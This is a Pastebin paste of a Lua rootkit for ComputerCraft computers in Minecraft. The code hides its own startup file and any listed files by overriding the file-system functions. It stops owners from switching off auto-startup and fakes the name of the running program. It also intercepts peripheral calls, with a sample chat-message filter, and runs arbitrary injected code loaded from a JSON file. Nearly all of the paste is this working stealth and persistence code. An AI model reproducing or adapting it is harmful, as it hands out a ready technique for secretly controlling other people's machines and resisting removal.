Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local INJECTION_PATH = "injections.json"
- local HIDDEN_FILES = {}
- local DIRS = {}
- local OLD_FUNCTIONS = {}
- local PERIPHERAL_OVERRIDES
- local THIS = shell.getRunningProgram()
- local ALT_PATH = "startup/startup_override_aos87cgabsdhcbasdjkr.lua"
- HIDDEN_FILES[shell.getRunningProgram()] = true
- HIDDEN_FILES[INJECTION_PATH] = true
- --JSON
- -- [[
- -- {
- -- "type":"injections",
- -- "peripherals"?:{
- -- <peripheral_Type>:{
- -- <method>:{
- -- <input_validator>?: string = <function to serialise, returning true to use normal behavior, or false,<returns...> to skip the function and return those values instead,
- -- <output_validator>?: string = <function to serialise, which takes the original output and returns the modified output>,
- -- }...
- -- },
- -- "chatBox"?:{
- -- "sendMessage"
- -- "input_validator":"function(...) for k,v in ipairs({...}) do if v == "t8rt0t" then return false,nil end end return true end", --Return true to run the normal behavior, or false, <return value> to skip the peripheral and return the return value instead
- -- },
- -- "hidden_files":[
- -- string = <path of file to hide>,
- -- ...
- -- ],
- -- "api_overrides"?:{
- -- <api>:{
- -- <function>: string = <function to override with>,
- -- ...
- -- }
- -- },
- -- "extra"?: string = <function to run>
- -- }
- -- ]]
- setmetatable(os,OLD_FUNCTIONS) --override to access old functions
- OLD_FUNCTIONS.fs,OLD_FUNCTIONS.peripheral,OLD_FUNCTIONS.settings,OLD_FUNCTIONS.shell = {},{},{},{}
- OLD_FUNCTIONS.ALT_PATH,OLD_FUNCTIONS.HIDDEN_FILES,OLD_FUNCTIONS.DIRS,OLD_FUNCTIONS.THIS,OLD_FUNCTIONS.INJECTION_PATH = ALT_PATH,HIDDEN_FILES,DIRS,THIS,INJECTION_PATH
- for k,v in pairs(fs) do
- OLD_FUNCTIONS.fs[k] = v
- end
- for k,v in pairs(peripheral) do
- OLD_FUNCTIONS.peripheral[k] = v
- end
- for k,v in pairs(settings) do
- OLD_FUNCTIONS.settings[k] = v
- end
- for k,v in pairs(shell) do
- OLD_FUNCTIONS.shell[k] = v
- end
- local function getDirs(path,list)
- list = type(list) == "table" and list or {}
- if #OLD_FUNCTIONS.fs.getDir(path) <= 0 then return list
- else
- table.insert(list,OLD_FUNCTIONS.fs.getDir(path))
- return getDirs(OLD_FUNCTIONS.fs.getDir(path),list)
- end
- end
- local function refreshDirs()
- DIRS = {}
- for k,v in pairs(HIDDEN_FILES) do
- for j,w in ipairs(getDirs(k)) do
- DIRS[w] = (DIRS[w] or 0) + 1
- end
- end
- if OLD_FUNCTIONS.fs.exists(ALT_PATH) then
- for j,w in ipairs(getDirs(ALT_PATH)) do
- DIRS[w] = (DIRS[w] or 0) + 1
- end
- end
- end
- local function isHidden(path)
- if type(path) == "string" then
- path = OLD_FUNCTIONS.fs.combine(OLD_FUNCTIONS.fs.getDir(path),OLD_FUNCTIONS.fs.getName(path))
- end
- refreshDirs()
- return path and (HIDDEN_FILES[path] or (DIRS[path] and #OLD_FUNCTIONS.fs.list(path) <= DIRS[path]))
- end
- --Hiding files overrides
- fs.exists = function(path)
- if type(path) == "string" then path = path:gsub("/$","") end
- if path == THIS then return fs.exists(ALT_PATH) end
- if isHidden(path) then return false else return OLD_FUNCTIONS.fs.exists(path) end end
- fs.list = function(path)
- local t = {}
- for k,v in ipairs(OLD_FUNCTIONS.fs.list(path)) do
- if fs.exists(fs.combine(path,v)) and fs.combine(path,v) ~= ALT_PATH then table.insert(t,v)
- -- elseif fs.exists(fs.combine(path,v)) and fs.combine(path,v) == ALT_PATH then table.insert(t,THIS) end
- end
- end
- return t
- end
- fs.open = function(path,mode)
- if path == THIS then return fs.open(ALT_PATH,mode) end
- if path and HIDDEN_FILES[path] then return nil,tostring(path) .. ": No such file" end
- return OLD_FUNCTIONS.fs.open(path,mode)
- end
- fs.delete = function(path)
- if path == THIS then
- if #OLD_FUNCTIONS.fs.list("startup") <= 1 then return OLD_FUNCTIONS.fs.delete("startup") end
- return fs.delete(ALT_PATH)
- end
- if isHidden(path) then return end
- return OLD_FUNCTIONS.fs.delete(path)
- end
- fs.getSize = function(path)
- if path == THIS then return fs.getSize(ALT_PATH) end
- if isHidden(path) then return end
- return OLD_FUNCTIONS.fs.getSize(path)
- end
- fs.isDir = function(path) if path == THIS then return fs.isDir(ALT_PATH) end return fs.exists(path) and OLD_FUNCTIONS.fs.isDir(path) end
- fs.complete = function(name,dir,...)
- local t = OLD_FUNCTIONS.fs.complete(name,dir,...)
- for i=#t,1,-1 do
- if not fs.exists(fs.combine(dir,name..t[i])) then table.remove(t,i) end
- end
- return t
- end
- fs.move = function(path,dest)
- if path == THIS then return fs.move(ALT_PATH,dest) end
- if dest == THIS then return fs.move(path,ALT_PATH) end
- return OLD_FUNCTIONS.fs.move(path,dest)
- end
- fs.copy = function(path,dest)
- if path == THIS then return fs.copy(ALT_PATH,dest) end
- if dest == THIS then return fs.copy(path,ALT_PATH) end
- return OLD_FUNCTIONS.fs.copy(path,dest)
- end
- fs.attributes = function(path)
- if path == THIS then return fs.attributes(ALT_PATH) end
- return OLD_FUNCTIONS.fs.attributes(path)
- end
- fs.getCapacity = function(path)
- if path == THIS then return fs.getCapacity(ALT_PATH) end
- return OLD_FUNCTIONS.fs.getCapacity(path)
- end
- fs.getFreeSpace = function(path)
- if path == THIS then return fs.getFreeSpace(ALT_PATH) end
- return OLD_FUNCTIONS.fs.getFreeSpace(path)
- end
- shell.getRunningProgram = function() local temp = OLD_FUNCTIONS.shell.getRunningProgram()return temp == ALT_PATH and THIS or temp end
- --Completion Overrides, copied from startup.lua in rom
- local completion = require "cc.shell.completion"
- shell.setCompletionFunction("rom/programs/alias.lua", completion.build(nil, completion.program))
- shell.setCompletionFunction("rom/programs/cd.lua", completion.build(completion.dir))
- shell.setCompletionFunction("rom/programs/copy.lua", completion.build({ completion.dirOrFile, true }, completion.dirOrFile))
- shell.setCompletionFunction("rom/programs/delete.lua", completion.build({ completion.dirOrFile, many = true }))
- shell.setCompletionFunction("rom/programs/drive.lua", completion.build(completion.dir))
- shell.setCompletionFunction("rom/programs/edit.lua", completion.build(completion.file))
- shell.setCompletionFunction("rom/programs/list.lua", completion.build(completion.dir))
- shell.setCompletionFunction("rom/programs/mkdir.lua", completion.build({ completion.dir, many = true }))
- shell.setCompletionFunction("rom/programs/move.lua", completion.build({ completion.dirOrFile, true },completion.dirOrFile))
- shell.setCompletionFunction("rom/programs/rename.lua", completion.build({ completion.dirOrFile, true },completion.dirOrFile))
- shell.setCompletionFunction("rom/programs/shell.lua", completion.build({ completion.programWithArgs, 2, many = true }))
- shell.setCompletionFunction("rom/programs/type.lua", completion.build(completion.dirOrFile))
- shell.setCompletionFunction("rom/programs/advanced/bg.lua", completion.build({ completion.programWithArgs, 2, many = true }))
- shell.setCompletionFunction("rom/programs/advanced/fg.lua", completion.build({ completion.programWithArgs, 2, many = true }))
- shell.setCompletionFunction("rom/programs/fun/speaker.lua", completion.build(
- { completion.choice, { "play ", "sound ", "stop " } },
- function(shell, text, previous)
- if previous[2] == "play" then return completion.file(shell, text, previous, true)
- elseif previous[2] == "stop" then return completion.peripheral(shell, text, previous, false)
- end
- end,
- function(shell, text, previous)
- if previous[2] == "play" then return completion.peripheral(shell, text, previous, false)
- end
- end
- ))
- shell.setCompletionFunction("rom/programs/fun/advanced/paint.lua", completion.build(completion.file))
- --Settings overrides (to prevent people from removing auto-startup)
- settings.set = function(name,value) if name == "shell.allow_startup" then return end return OLD_FUNCTIONS.settings.set(name,value) end
- -- print(textutils.serialise(HIDDEN_FILES))
- -- print(textutils.serialise(DIRS))
- if not OLD_FUNCTIONS.fs.exists(INJECTION_PATH) then return end --Leave file if no injection
- local file = OLD_FUNCTIONS.fs.open(INJECTION_PATH,"r")
- local data = textutils.unserialiseJSON(file.readAll())
- file.close()
- if type(data) ~= "table" or data.type ~= "injections" then return end --or type(data.peripherals) ~= "table" then return end
- PERIPHERAL_OVERRIDES = data.peripherals
- if type(PERIPHERAL_OVERRIDES) == "table" then
- peripheral.call = function(name,method,...)
- local override = PERIPHERAL_OVERRIDES[name:match("(.+)%_%d+") or ""]
- if not override then override = PERIPHERAL_OVERRIDES[OLD_FUNCTIONS.peripheral.getType(name) or ""] end
- if override then
- local iv,ov = (override[method] or {}).input_validator or override.input_validator, (override[method] or {}).output_validator or override.output_validator
- if iv then
- local t = {loadstring("return "..iv)()(...)}
- if not table.remove(t,1) then return unpack(t) end
- end
- local output = {OLD_FUNCTIONS.peripheral.call(name,method,...)}
- -- print(ov)
- if ov then return loadstring("return "..ov)()(unpack(output)) else return unpack(output) end
- else
- return OLD_FUNCTIONS.peripheral.call(name,method,...)
- end
- end
- end
- if type(data.hidden_files) == "table" then
- for k,v in ipairs(data.hidden_files) do
- HIDDEN_FILES[v] = true
- end
- end
- if type(data.api_overrides) == "table" then
- for api,overrides in pairs(data.api_overrides) do
- if _G[api] and type(overrides) == "table" then
- if type(OLD_FUNCTIONS[api]) ~= "table" then OLD_FUNCTIONS[api] = {} end
- for k,v in pairs(_G[api]) do
- OLD_FUNCTIONS[api][k] = v
- if overrides[k] then _G[api][k] = loadstring("return "..overrides[k])() end
- end
- elseif _G[api] and not overrides then
- pcall(function() os.unloadAPI(api) end)
- _G[api] = nil
- end
- end
- end
- if type(data.extra) == "string" then
- pcall(function() loadstring(data.extra)() end)
- end
Advertisement
Add Comment
Please, Sign In to add comment